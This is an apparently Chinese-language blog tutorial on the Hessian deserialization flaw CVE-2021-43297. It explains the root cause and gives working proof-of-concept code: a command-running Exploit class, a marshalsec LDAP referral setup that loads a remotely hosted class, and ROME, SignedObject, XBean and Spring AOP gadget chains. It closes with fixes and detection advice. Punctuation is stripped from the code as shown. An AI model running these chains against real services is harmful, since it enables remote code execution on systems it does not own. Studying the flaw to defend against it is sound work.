Hessian反序列化漏洞深度解析:从异常处理到代码执行

发布时间:2026/7/6 12:31:20
Hessian反序列化漏洞深度解析:从异常处理到代码执行 1. 项目概述从一次异常处理到Hessian反序列化漏洞的深度探索最近在排查一个线上服务的问题时遇到了一个非常典型的场景一个Dubbo服务在反序列化Hessian协议数据时抛出了一个看似普通的异常但异常堆栈里却出现了toString方法的调用链。这引起了我的警觉因为经验告诉我在反序列化过程中任何非预期的toString调用都可能是一个危险信号。顺着这个线索深挖下去果然牵扯出了Hessian协议中一个经典的漏洞利用模式——通过精心构造的序列化数据在异常处理流程中触发特定对象的toString方法进而执行任意代码。这个漏洞在Apache Dubbo中对应CVE-2021-43297但其背后的原理和利用技巧远不止一个CVE编号那么简单。Hessian作为一种轻量级的二进制RPC协议因其高效和跨语言特性在Java微服务架构中被广泛使用尤其是在Dubbo这类RPC框架中。然而正是其为了兼容性和异常处理所做的设计在某些边界条件下会成为安全短板。这次我们就来彻底拆解这个漏洞的成因、利用方式以及背后的攻防逻辑。无论你是负责服务安全的开发工程师还是对Java反序列化漏洞感兴趣的研究者理解这个漏洞都能让你对Hessian协议、Java反序列化机制以及安全编码有更深刻的认识。我会从环境搭建、原理分析、漏洞复现、多种利用链构造到防御建议一步步带你走完整个流程。2. Hessian协议与反序列化机制深度解析2.1 Hessian协议的核心设计思想要理解漏洞必须先理解Hessian协议本身。Hessian是Caucho公司开发的一种基于HTTP的二进制远程调用协议它的设计目标很明确简单、高效、跨语言。与Java原生的序列化协议相比Hessian的序列化结果体积更小传输效率更高而且不强制要求实现Serializable接口虽然实践中大部分情况还是会实现。Hessian协议的数据格式可以简单理解为一种“类型化”的字节流。它通过一个字节的类型码type code来标识后续数据的类型。比如整数0x49表示一个32位整数0x53表示一个短字符串的开始。在反序列化时Hessian2Input会读取这些类型码然后调用对应的反序列化器Deserializer来重建对象。这里有一个关键点Hessian为了处理各种边界情况比如未知类型、版本不兼容等内置了一套异常处理机制。当解析器遇到无法识别的类型码或数据格式错误时它会尝试抛出异常并在异常信息中尽可能包含上下文信息。正是这个“包含上下文信息”的过程埋下了安全隐患。2.2 反序列化过程中的关键方法调用链Java反序列化的本质是将字节流还原为内存中对象的过程。这个过程会调用对象的构造方法、readObject方法如果存在、readResolve方法等。Hessian的反序列化流程也类似但其入口是Hessian2Input.readObject()。我们来看一下简化后的核心流程public Object readObject() throws IOException { int tag this.read(); switch (tag) { case C: // 67 表示对象定义开始 return this.readObjectDefinition(tag); case O: // 79 表示对象引用 return this.readObjectInstance(tag); // ... 其他case default: // 当tag不匹配任何已知类型时进入异常处理 throw this.expect(object, tag); } }当read()方法读取到的第一个字节tag是67即字符C的ASCII码时流程会进入readObjectDefinition方法。这个方法负责读取对象的类定义信息。但如果这个“类定义”的格式后续不符合预期比如预期的字段数量与实际不符解析器就会调用expect方法来抛出一个描述性的异常。expect方法的实现是漏洞触发点的核心protected IOException expect(String expect, int ch) throws IOException { // 构建异常信息字符串 String message expected expect at this.codeName(ch) this.getPosition(); // 注意这里如果缓冲区有未读取的“对象”会尝试将其转换为字符串拼接到消息中 if (this._offset this._length) { try { Object obj this.readObject(); // 关键的一行将对象转换为字符串 message message obj; } catch (Exception e) { // 忽略转换过程中的异常 } } return new HessianProtocolException(message); }看到问题了吗在构造异常信息时如果输入流中还有未解析的数据this._offset this._length代码会尝试调用this.readObject()再读取一个对象然后通过字符串拼接操作 obj隐式地调用了这个对象的toString()方法在Java中字符串拼接操作a obj实际上会被编译器转换为a obj.toString()。因此如果我们能控制这个被额外读取的obj并且该对象的toString()方法被重写为包含危险逻辑如JNDI查询、反射调用等那么一个简单的异常信息构建过程就会变成代码执行的跳板。2.3 漏洞触发的必要条件与边界不是所有走到expect方法的路径都能触发漏洞。我们需要满足几个条件可控的Tag字节我们需要让序列化数据的第一个字节是67(C)这样才能进入readObjectDefinition分支为后续触发异常创造条件。但仅仅进入这个分支还不够因为如果后续数据格式完全正确流程会正常完成不会走到expect。格式错误的数据我们需要在readObjectDefinition方法内部制造一个解析错误比如定义一个类但在序列化数据中提供的字段数量与定义不符或者提供错误的数据类型迫使解析器抛出异常。精心构造的toString对象在序列化数据中在引发异常的点之后还需要预先放置一个我们精心构造的对象。当expect方法尝试读取它并拼接字符串时其toString()方法就会被触发。可利用的toString链这个对象的toString()方法需要能最终导向危险操作如Runtime.exec()或JNDI注入。通常我们会利用已知的Gadget链如ROME链中的ToStringBean或者Spring AOP、XBean等库中的相关类。3. 漏洞复现环境搭建与基础POC构造3.1 实验环境准备我们先从最简单的环境开始。你需要准备以下工具和依赖JDK版本建议使用JDK 8u66或类似版本。高版本JDK如8u191对JNDI注入有默认限制会增加复现复杂度。我们后续会讨论绕过方法。核心依赖dependency groupIdcom.caucho/groupId artifactIdhessian/artifactId version4.0.63/version /dependency dependency groupIdrome/groupId artifactIdrome/artifactId version1.0/version /dependencyhessian是协议库rome则提供了经典的ToStringBean利用链。漏洞利用辅助工具marshalsec用于快速启动LDAP或RMI恶意服务引导目标进行JNDI注入。可以从GitHub获取并编译。一个简单的HTTP服务器用于托管恶意类的字节码文件。用Python的http.server模块即可。3.2 构造最基础的POC我们的目标是构造一段Hessian序列化数据当被Hessian2Input解析时会触发异常处理流程并执行ToStringBean的toString()方法进而触发JNDI注入。首先我们需要一个恶意的Exploit类它将在目标机器上被加载并执行。为了演示我们写一个最简单的命令执行// Exploit.java import java.io.IOException; public class Exploit { public Exploit() { try { Runtime.getRuntime().exec(open /System/Applications/Calculator.app); // Mac // Runtime.getRuntime().exec(calc.exe); // Windows } catch (IOException e) { e.printStackTrace(); } } }将其编译为Exploit.class并放在一个目录下用Python启动HTTP服务python3 -m http.server 8000。接着启动marshalsec的LDAP服务指向我们的HTTP服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的IP:8000/#Exploit 1389现在我们来构造POC的核心代码import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ToStringBean; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class BasicPOC { public static void main(String[] args) throws Exception { // 1. 构造恶意对象JdbcRowSetImpl是JNDI注入的经典起点 JdbcRowSetImpl jdbcRowSet new JdbcRowSetImpl(); String url ldap://127.0.0.1:1389/Exploit; jdbcRowSet.setDataSourceName(url); // 2. 使用ROME的ToStringBean包装它其toString()方法会调用JdbcRowSetImpl的getDataSourceName等方法触发JNDI查询 ToStringBean toStringBean new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet); // 3. 序列化这个toStringBean对象 byte[] payload serialize(toStringBean); // 4. 关键步骤在序列化数据前手动添加字节 C (67) // 这样Hessian2Input会认为这是一个对象定义但后续数据又不是合法的定义格式从而走入异常处理流程。 byte[] finalPayload new byte[payload.length 1]; finalPayload[0] 67; // 字符 C System.arraycopy(payload, 0, finalPayload, 1, payload.length); // 5. 触发反序列化 deserialize(finalPayload); } public static byte[] serialize(Object o) throws IOException { ByteArrayOutputStream baos new ByteArrayOutputStream(); Hessian2Output output new Hessian2Output(baos); output.writeObject(o); output.flush(); return baos.toByteArray(); } public static Object deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bais new ByteArrayInputStream(bytes); Hessian2Input input new Hessian2Input(bais); return input.readObject(); // 这里会触发漏洞 } }运行这个POC如果环境配置正确你应该能看到计算器被弹出。这个过程可以概括为Hessian2Input.readObject()读取第一个字节67进入readObjectDefinition。由于后续数据是ToStringBean的序列化格式而非合法的类定义格式解析器在readObjectDefinition内部某处遇到错误调用expect方法抛出异常。expect方法发现输入流还有数据即我们序列化的ToStringBean尝试读取它。读取成功后在拼接异常信息message message obj时隐式调用了obj.toString()即ToStringBean.toString()。ToStringBean.toString()会通过反射调用其内部beanJdbcRowSetImpl的getter方法。JdbcRowSetImpl.getDataSourceName()触发了JNDI查询向我们的LDAP服务器发起请求。LDAP服务器返回指向HTTP服务的Reference目标机器加载并实例化Exploit.class执行构造方法中的命令。实操心得这里最容易出错的地方是依赖版本。rome:1.0这个版本很老可能无法直接从Maven中央仓库获取。你可能需要手动下载jar包或者使用其他包含类似类的库如com.rometools:rome:1.7.0但要注意类名和包名可能发生了变化。建议在复现时先确保ToStringBean和JdbcRowSetImpl这两个类在你的classpath中可用。4. 漏洞利用链的进阶与演化基础的JNDI注入链在实战中限制很大主要因为高版本JDK默认限制了远程类加载。因此安全研究人员探索了多种无需出网或利用其他机制的链。下面我们深入分析几种经典的进阶利用链。4.1 利用SignedObject进行二次反序列化java.security.SignedObject是一个用于创建运行时对象数字签名的类。它的构造函数会序列化传入的对象而getObject()方法会将其反序列化回来。更重要的是getObject()是一个getter方法可以被ToStringBean.toString()通过反射调用。这为我们提供了一种思路我们可以将一条无法直接被Hessian反序列化执行的链例如依赖TemplatesImpl的链先封装进SignedObject。然后构造一个触发ToStringBean.toString()调用SignedObject.getObject()的链。当getObject()执行时它会反序列化其内部存储的数据从而执行内层的链。为什么需要这样绕一圈因为像TemplatesImpl这样的类其关键字段_tfactory被transient修饰Hessian默认不会序列化transient字段。直接序列化TemplatesImpl会导致反序列化后对象状态不完整无法成功利用。而SignedObject使用Java原生序列化可以处理transient字段如果该类有正确的readObject方法。构造链的步骤构造一个包含恶意字节码的TemplatesImpl对象。将其用SignedObject包裹并序列化此时用的是Java原生序列化。用ToStringBean包裹这个SignedObject对象。将ToStringBean对象放入HashMap需通过反射绕过put时的hashCode调用。将整个HashMap序列化并在前面添加字节C通过Hessian的异常处理触发toString。核心代码片段如下// 1. 生成恶意字节码例如弹计算器 byte[] evilCode ClassPool.getDefault().get(EvilCalc).toBytecode(); // 2. 构造TemplatesImpl对象 TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilCode}); setField(templates, _name, Pwned); setField(templates, _tfactory, new TransformerFactoryImpl()); // 3. 用ToStringBean包裹TemplatesImpl内层链 ToStringBean innerToStringBean new ToStringBean(TemplatesImpl.class, templates); EqualsBean innerEqualsBean new EqualsBean(ToStringBean.class, innerToStringBean); // 4. 将内层链放入HashMap通过反射避免提前触发 HashMap innerMap makeMap(innerEqualsBean, dummy); // 5. 将HashMap用SignedObject包裹Java原生序列化 KeyPairGenerator kpg KeyPairGenerator.getInstance(DSA); kpg.initialize(1024); KeyPair kp kpg.generateKeyPair(); SignedObject signedObject new SignedObject((Serializable) innerMap, kp.getPrivate(), Signature.getInstance(DSA)); // 6. 用ToStringBean包裹SignedObject外层链 ToStringBean outerToStringBean new ToStringBean(SignedObject.class, signedObject); EqualsBean outerEqualsBean new EqualsBean(ToStringBean.class, outerToStringBean); // 7. 将外层链放入另一个HashMap HashMap outerMap makeMap(outerEqualsBean, dummy2); // 8. 序列化outerMap添加C触发Hessian反序列化当外层ToStringBean.toString()被触发时会调用SignedObject.getObject()后者执行Java原生反序列化还原出innerMap。在innerMap反序列化过程中具体是在HashMap.readObject()的putVal里会调用key的hashCode()即innerEqualsBean.hashCode()进而调用equals()最终触发内层ToStringBean.toString()加载并实例化TemplatesImpl中的恶意字节码。注意事项TemplatesImpl链的利用对JDK版本有要求因为它依赖com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个内部类。在某些JDK实现或版本中这个类可能不可用或被屏蔽。此外SignedObject的构造需要密码学支持在某些受限环境中可能失败。4.2 利用XBean链触发JNDI当目标环境没有ROME依赖但有org.apache.xbean:xbean-naming依赖时我们可以使用XBean链。这条链的入口点是org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding类的toString()方法。调用链如下ReadOnlyBinding.toString()继承自BindingBinding.toString()-this.getObject()ReadOnlyBinding.getObject()-NamingManager.getObjectInstance(ref, name, ctx, env)后续就是标准的JNDI Reference利用从远程加载恶意类。我们需要构造一个场景让ToStringBean.toString()去触发ReadOnlyBinding的toString。这通常通过构造一个特殊的HashMap来实现利用HashMap在反序列化时比较key的equals方法的特性。我们构造两个HashMapmap1和map2让它们的key相互“纠缠”使得在反序列化map2时会调用map1中某个key的equals方法而这个equals方法内部又触发了toString比较。// 1. 构造恶意Reference和Context Reference ref new Reference(Exploit, Exploit, http://localhost:8000/); Context ctx new WritableContext(); ContextUtil.ReadOnlyBinding binding new ContextUtil.ReadOnlyBinding(pwn, ref, ctx); // 2. 构造触发链的“引子”对象这里用XString XString xString new XString(pwn); // 3. 构造两个HashMap利用其equals/hashCode的相互调用 HashMap map1 new HashMap(); HashMap map2 new HashMap(); map1.put(yy, binding); // HashMap1的key1是binding map1.put(zZ, xString); // HashMap1的key2是xString map2.put(yy, xString); // HashMap2的key1是xString map2.put(zZ, binding); // HashMap2的key2是binding // 4. 将这两个HashMap作为另一个HashMap的key和value通过反射设置避免提前触发 HashMap triggerMap makeMap(map1, map2); // 序列化triggerMap并触发...当Hessian反序列化这个triggerMap时在HashMap.putVal()过程中会比较key即map1和map2。HashMap的equals方法会遍历entry比较每个key和value。当比较到map1的keyyybinding和map2的keyyyxString时会调用binding.equals(xString)。XString.equals()方法内部会调用obj.toString()如果obj是String类型则比较值如果不是则调用obj.toString()再比较。这里binding不是String所以会调用binding.toString()从而触发JNDI注入。这条链的构造非常精妙它不直接依赖ToStringBean而是利用了XString.equals()中隐式的toString()调用以及HashMap反序列化时的比较逻辑。4.3 利用Spring AOP链在Spring环境中如果存在spring-aop,spring-context,aspectjweaver等依赖我们可以利用Spring AOP中的类来构造链。这条链比较长但原理清晰。核心入口点是AspectJAwareAdvisorAutoProxyCreator.PartiallyComparableAdvisorHolder的内部类简称PCAH的toString()方法它会调用其advisor属性的getOrder()方法。我们需要找到一个advisor其getOrder()方法调用链最终能走到JNDI查询。一条可行的链是PCAH.toString()-advisor.getOrder()AspectJPointcutAdvisor.getOrder()-advice.getOrder()AbstractAspectJAdvice.getOrder()-aspectInstanceFactory.getOrder()BeanFactoryAspectInstanceFactory.getOrder()-beanFactory.getType(beanName)SimpleJndiBeanFactory.getType()-doGetSingleton(beanName)- JNDI查询我们需要通过反射构造出这一系列对象并正确设置它们的属性。例如需要创建一个SimpleJndiBeanFactory并通过setShareableResources方法将恶意JNDI URL添加进去这样在doGetSingleton中的isSingleton(name)检查才会通过。// 构造SimpleJndiBeanFactory SimpleJndiBeanFactory beanFactory new SimpleJndiBeanFactory(); beanFactory.setShareableResources(url); // 构造BeanFactoryAspectInstanceFactory并注入beanFactory和name AspectInstanceFactory instanceFactory createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setField(instanceFactory, beanFactory, beanFactory); setField(instanceFactory, name, url); // 构造AspectJAroundAdvice (AbstractAspectJAdvice的子类)注入instanceFactory AbstractAspectJAdvice advice createWithoutConstructor(AspectJAroundAdvice.class); setField(advice, aspectInstanceFactory, instanceFactory); // 构造AspectJPointcutAdvisor注入advice AspectJPointcutAdvisor advisor createWithoutConstructor(AspectJPointcutAdvisor.class); setField(advisor, advice, advice); // 构造PartiallyComparableAdvisorHolder注入advisor Object pcah createWithoutConstructor(PCAH.class); setField(pcah, advisor, advisor); // 将pcah与一个XString对象放入HashMap触发链方式与XBean链类似这里用到的createWithoutConstructor是一个技巧它使用sun.reflect.ReflectionFactory来实例化一个类而不调用其任何构造方法这对于实例化那些构造方法中有初始化逻辑会干扰利用的类非常有用。踩坑记录Spring AOP链的构造非常繁琐类名长且相似极易出错。在反射设置字段时一定要确认字段名和类型完全正确。另外不同版本的Spring中类名、方法名和内部逻辑可能有细微差别需要根据目标环境的具体版本进行调整。建议在构造时每一步都打印出对象的状态确保属性设置成功。5. 漏洞的防御、检测与实战思考5.1 漏洞的根本原因与修复CVE-2021-43297的根本原因在于Hessian2Input.expect()方法在构建异常信息时不安全地调用了用户可控对象的toString()方法。修复方案通常有两种官方修复在Hessian库的更新版本中修改expect方法避免在异常信息中拼接未经验证的用户对象。例如可以只记录对象的类名或哈希值而不是调用其toString()。框架层修复在使用Hessian的框架中如Dubbo进行全局的序列化过滤器Serialization Filter配置。例如Dubbo可以通过配置SerializationSecurityChecker来限制反序列化过程中允许加载的类。对于开发者而言最直接的防御措施是升级。升级Hessian库到安全版本升级Dubbo到修复了该漏洞的版本如Dubbo 2.7.13, 3.0.3。5.2 在无法升级的情况下的缓解措施如果因为兼容性等原因无法立即升级可以考虑以下缓解方案使用白名单机制在服务端对反序列化的类进行严格的白名单过滤。Hessian本身可以通过自定义SerializerFactory和Deserializer来实现。在Dubbo中可以扩展Serialization接口在反序列化前对字节流进行检查。禁用危险的toString通过Java Agent或字节码增强技术在类加载时对已知危险的toString()方法如ToStringBean.toString进行插桩使其直接返回空字符串或固定值阻断利用链。但这是一种侵入性较强的方案。网络层面隔离确保运行Dubbo服务的主机处于严格的内网环境中无法访问外部LDAP/RMI服务器。这可以防御需要出网的JNDI注入利用链但对不出网的链如SignedObject二次反序列化无效。使用高版本JDK并严格配置使用JDK 8u191、7u201、6u211或更高版本并设置系统属性com.sun.jndi.ldap.object.trustURLCodebase和com.sun.jndi.rmi.object.trustURLCodebase为false彻底关闭从远程Codebase加载类的功能。这能有效防御大部分JNDI注入攻击。5.3 漏洞的检测与发现如何判断自己的系统是否存在这个漏洞依赖检查检查项目中是否引入了存在漏洞版本的Hessian例如hessian:4.0.63及以下和Dubbo2.7.13以下3.0.3以下。可以使用OWASP Dependency-Check、Maven的versions:display-dependency-updates插件等工具。流量审计对Dubbo服务的网络流量进行抓包和分析。Hessian协议是二进制的但可以借助工具如Wireshark的Dubbo协议插件或编写简单的解析脚本来检查序列化数据的前几个字节。如果发现大量以字符C字节67开头的异常请求就需要高度警惕。运行时监控在JVM中启用安全监控例如通过Java Agent记录所有toString()方法的调用栈特别是那些在反序列化上下文线程栈中出现Hessian2Input相关方法中被调用的toString()。也可以监控可疑的JNDI查询和外部网络连接。5.4 从漏洞研究中学到的安全编码启示这个漏洞给我们上了生动的一课异常处理要谨慎在异常处理逻辑中尽量避免处理或展示用户可控的数据。toString()、getMessage()等方法都可能成为攻击面。反序列化是危险的只要反序列化的数据源不可信就必须施加严格的限制。Java原生序列化如此Hessian、JSON、XML、YAML等任何序列化协议亦然。默认不安全像ToStringBean这样为了调试方便而设计的类其toString()方法无限制地反射调用getter在设计上就存在风险。在编写工具类或框架代码时要时刻考虑其被滥用的可能性。深度防御单一维度的防御如升级库可能因各种原因失效。应该构建从网络隔离、运行时监控、代码审计到依赖管理的多层次防御体系。复现和研究这类漏洞不是为了攻击而是为了更深刻地理解系统脆弱点所在。只有知道攻击者如何思考、如何利用我们才能更好地构建稳固的防御。每一次漏洞分析都是对自身安全意识和技能的一次提升。在微服务架构大行其道的今天RPC协议的安全值得我们投入更多的关注。